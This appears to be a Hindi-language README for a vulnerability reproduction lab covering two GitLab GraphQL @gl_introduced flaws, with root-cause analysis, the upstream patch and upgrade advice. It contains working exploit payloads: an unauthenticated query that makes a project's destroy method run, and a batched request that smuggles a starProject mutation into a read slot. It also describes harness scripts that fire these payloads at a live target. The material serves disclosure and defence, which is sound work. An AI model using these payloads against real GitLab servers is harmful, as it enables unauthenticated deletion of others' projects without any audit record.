
दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ।
@gl_introduced version-filter भेद्यताएँGitLab की GraphQL version-filter सुविधा (@gl_introduced directive) में दो संबंधित बगों के लिए एक reproduction lab। दोनों एक ही सुविधा क्षेत्र में रहते हैं, एक ही upstream patch द्वारा ठीक किए जाते हैं, और दोनों एक GraphQL अनुरोध को उन code paths तक पहुँचने देते हैं जिन्हें उसने कभी घोषित नहीं किया था:
destroy) आह्वान कर सकती है, केवल एक ऐसा फ़ील्ड नाम देकर जो मौजूद नहीं है और उसे @gl_introduced टैग करके।| प्रभावित | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| ठीक किया गया | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| लैब लक्ष्य | gitlab/gitlab-ce:19.2.2-ce.0 (फिक्स से पहले का अंतिम build) |
| ट्रिगर | GraphQL @gl_introduced directive, अकेले या batch के अंदर |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ के अंतर्गत सब कुछ verbatim upstream स्रोत है, कभी पुनः कार्यान्वित नहीं किया गया — loader src/common के ऊपर src/vuln या src/patched ओवरले करता है।
Gitlab::Graphql::VersionFilter::FutureFieldFallback एक क्वेरी को किसी प्रकार पर अभी मौजूद नहीं रहे फ़ील्ड को संदर्भित करने देता है, बिना अनुरोध असफल हुए — यह रोलिंग डिप्लॉय (rolling deploys) के लिए है, जहाँ एक पुराने नोड के स्कीमा में वह फ़ील्ड नहीं होता जो एक नए नोड में पहले से होता है। इसका get_field ओवरराइड जाँचता है कि अनुरोधित फ़ील्ड गायब है और अनुरोध contain_future_fields के रूप में चिह्नित है, और यदि ऐसा है तो raising करने के बजाय एक synthetic फ़ील्ड देता है:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
समस्या: यह GraphQL::Schema::Field बिना किसी resolver method, resolver class, या block के बनाया गया है। फिर graphql-ruby का अपना डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन लागू होता है (graphql gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym फ़ील्ड का नाम है, underscore के साथ — यानी वास्तव में वही स्ट्रिंग जो हमलावर ने क्वेरी में डाली थी। यदि GraphQL प्रकार के पीछे का ऑब्जेक्ट (ActiveRecord मॉडल) उस नाम के साथ एक वास्तविक, शून्य-तर्क public मेथड रखता है, तो graphql-ruby उसे कॉल करता है और उसका (type-coerced) परिणाम लौटाता है। fallback_value: nil केवल तब लागू होता है जब मेथड वास्तव में मौजूद नहीं होता — यह किसी वास्तविक मेथड को चलने से रोकने के लिए कुछ नहीं करता।
इसलिए: किसी भी प्रकार से किसी वास्तविक विनाशकारी मेथड के नाम वाले फ़ील्ड के लिए क्वेरी करें — उदाहरण के लिए destroy — उसे @gl_introduced टैग करें ताकि वह निष्पादन तक जीवित रहे, और मेथड चल जाता है।
IntroducedTracer version-filter सुविधा के शेष भाग को दो graphql-ruby trace hooks — parse (प्रति ऑपरेशन एक बार) और execute_query (प्रति ऑपरेशन एक बार) — में लागू करता है। भेद्य build में यह अपनी प्रति-ऑपरेशन स्थिति को trace ऑब्जेक्ट पर सामान्य instance variables में छिपाता है:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
समस्या: graphql-ruby एक multiplexed अनुरोध में हर ऑपरेशन के बीच एक ही trace instance साझा करता है, और किसी को निष्पादित करने से पहले उन सभी को parse करता है। तो दो-ऑपरेशन batch में:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 एक @gl_introduced future फ़ील्ड रखता है)Parse करने के बाद, केवल अंतिम ऑपरेशन की स्थिति बचती है। फिर निष्पादन चलता है:
execute_query(op1) → flag true है, इसलिए op1 का document op2_doc के साथ अधिलेखित (overwrite) हो जाता है और पुनः तैयार किया जाता है → op1 का स्लॉट op2 का ऑपरेशन चलाता है।op1 ने एक read घोषित किया; यह op2 के write को निष्पादित करता है।
patch-19.2.2-to-19.2.4.diff दोनों को बंद करता है:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
कोई Authorization हेडर नहीं। एक ही ऑपरेशन, कोई batch नहीं। destroy Project पर एक वास्तविक फ़ील्ड नहीं है — यह स्कीमा में बिल्कुल मौजूद नहीं है — लेकिन directive FutureFieldFilter को static validation से पहले इसे हटाने और निष्पादन के लिए contain_future_fields को सशस्त्र (arm) करने देती है, जहाँ get_field destroy नामक बिना-resolver वाला फ़ील्ड देता है और graphql-ruby project.public_send(:destroy) कॉल करता है।
लाइव सत्यापित (evidence/live_vuln_fallback_field.txt, तीन अलग-अलग disposable projects के खिलाफ तीन बार प्रतिकृति): एक सार्वजनिक project के खिलाफ भेजे जाने पर, प्रतिक्रिया {"data":{"project":{"id":"...","destroy":true}}} थी। एक अनुवर्ती प्रमाणित REST जाँच (GET /api/v4/projects/:id) ने 404 लौटाया — project वास्तव में गायब था। उस कॉल के लिए अनुरोध लॉग में 9 synchronous database writes और शून्य नई AuditEvent पंक्तियाँ दिखती हैं: कॉल Projects::DestroyService को पूरी तरह से बायपास करती है (और इसके साथ audit trail, webhooks और notifications को भी) — यह GraphQL की डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन के माध्यम से सीधे आह्वानित एक कच्चा ActiveRecord#destroy कैस्केड है।
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2 payload — @gl_introduced directive को केवल एक वास्तविक फ़ील्ड पर बैठना होता है ताकि parse समय पर FutureFieldFilter contain_future_fields को बदल दे और स्वैप को सशस्त्र कर दे:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
लाइव सत्यापित (evidence/live_vuln.txt): slot 1, जिसने query { currentUser { username } } घोषित किया था, {"data":{"starProject":{"count":"0"}}} लौटाता है और project की star संख्या 1 → 0 हो जाती है।
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
स्क्रिप्ट प्रमाणित REST API के माध्यम से एक disposable public project बनाती है (केवल सेटअप), @gl_introduced टैग वाले destroy फ़ील्ड का नाम देते हुए एक अनप्रमाणित GraphQL क्वेरी भेजती है, फिर प्रमाणित REST के माध्यम से project की पुनः जाँच करती है। यदि project गायब है तो यह VULNERABLE घोषित करती है।
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
स्क्रिप्ट आधारभूत star स्थिति पढ़ती है, दो-ऑपरेशन batch भेजती है, और यदि read-घोषित slot 1 starProject payload लौटाता है (और/या star संख्या बदलती है) तो VULNERABLE घोषित करती है।
Gitlab::Graphql::VersionFilter को एक छोटे graphql-ruby ऐप में अलग करता है ताकि स्वैप बिना किसी GitLab शोर के दिखाई दे। वास्तविक अपस्ट्रीम स्रोत लोड करता है।
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
दोनों वैक्टर gitlab/gitlab-ce:19.2.2-ce.0 के खिलाफ लाइव पुष्ट किए गए हैं। उनमें अलग-अलग प्राधिकरण जोखिम होते हैं क्योंकि वे GitLab स्टैक की विभिन्न परतों को प्रभावित करते हैं।
कोई token नहीं, कोई batching नहीं, एक क्वेरी। प्रतिक्रिया मेथड का परिणाम सीधे लौटाती है ("destroy": true), और अंतर्निहित रिकॉर्ड वास्तव में नष्ट हो जाता है — प्रमाणित REST (404) और सर्वर-साइड साक्ष्य (शून्य AuditEvent पंक्तियाँ, एक अनुरोध में 9 synchronous writes) के माध्यम से पुष्टि की गई, जिसका अर्थ है कि यह GitLab की सामान्य विलोपन सेवा को पूरी तरह से बायपास करता है। तीन अलग-अलग disposable projects के खिलाफ तीन बार स्वतंत्र रूप से प्रतिकृति की गई। कोई भी GraphQL प्रकार जिसका पृष्ठभूमि ऑब्जेक्ट एक वास्तविक शून्य-तर्क विनाशकारी मेथड उजागर करता है, एक उम्मीदवार है।
api scope वाले किसी भी token के साथ, एक ऑपरेशन जिसने read घोषित किया था, वह write निष्पादित करता है जिसके लिए उसने कभी नहीं पूछा (star संख्या 1 → 0, एक query-typed स्लॉट से प्रेरित)। बिना token भेजे, स्वैप फिर भी होता है — read स्लॉट starProject तक पहुँचता और उसे resolve करता है — लेकिन हर GitLab mutation Mutations::BaseMutation को इनहेरिट करता है, जिसका self.authorized? गेट निष्पादन समय पर चलता है:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
एक अनाम अनुरोध के लिए current_user nil है, और GlobalPolicy rule { anonymous }.policy { prevent :execute_graphql_mutation } करता है। 10 batch व्यवस्थाओं का सर्वेक्षण (क्रम, फ़ील्ड / सबफ़ील्ड / inline fragment पर directive, 2- और 3-ऑपरेशन batches) अनप्रमाणित: अपहृत स्लॉट हर बार गेट से टकराता है और star संख्या कभी नहीं बदलती।
यह गेट केवल mutations के लिए विशिष्ट है — इसका 1a पर कोई प्रभाव नहीं है, जो Mutations::BaseMutation को कभी नहीं छूता; फ़ॉलबैक फ़ील्ड एक सामान्य query-प्रकार फ़ील्ड के रूप में सीधे मॉडल पर resolve होता है, और रास्ते में कोई प्राधिकरण जाँच नहीं होती।
src/common/demo_app.rb में कोई प्राधिकरण परत ही नहीं है — इसका mutation बस लिखता है। इसलिए PoC #3 एक auth-मुक्त सैंडबॉक्स में स्वैप तंत्र (एक read स्लॉट जो write करता है) प्रदर्शित करता है। वास्तविक GitLab उस execute_graphql_mutation गेट को लागू करता है जिसे डेमो छोड़ देता है — विशेष रूप से 1b के लिए। इस स्टॉक build पर, बिना क्रेडेंशियल्स के mutation-संचालित write अकेले 1b के माध्यम से प्राप्त नहीं है; यह 1a के माध्यम से प्राप्त है, जिसे किसी mutation की बिल्कुल आवश्यकता नहीं है।
18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 या बाद के संस्करण में अपग्रेड करें। फिक्स (diff देखें) दो काम करता है: future_field_fallback.rb फ़ॉलबैक फ़ील्ड को graphql-ruby की डिफ़ॉल्ट मेथड डिस्पैच पर निर्भर रहने के बजाय एक स्पष्ट resolver (Resolvers::NilResolver, जो हमेशा nil लौटाता है) देता है, जिससे 1a बंद होता है; introduced_tracer.rb tracer की प्रति-ऑपरेशन स्थिति को एक साझा instance variable के बजाय प्रत्येक ऑपरेशन के अपने document तक सीमित करता है, जिससे 1b बंद होता है।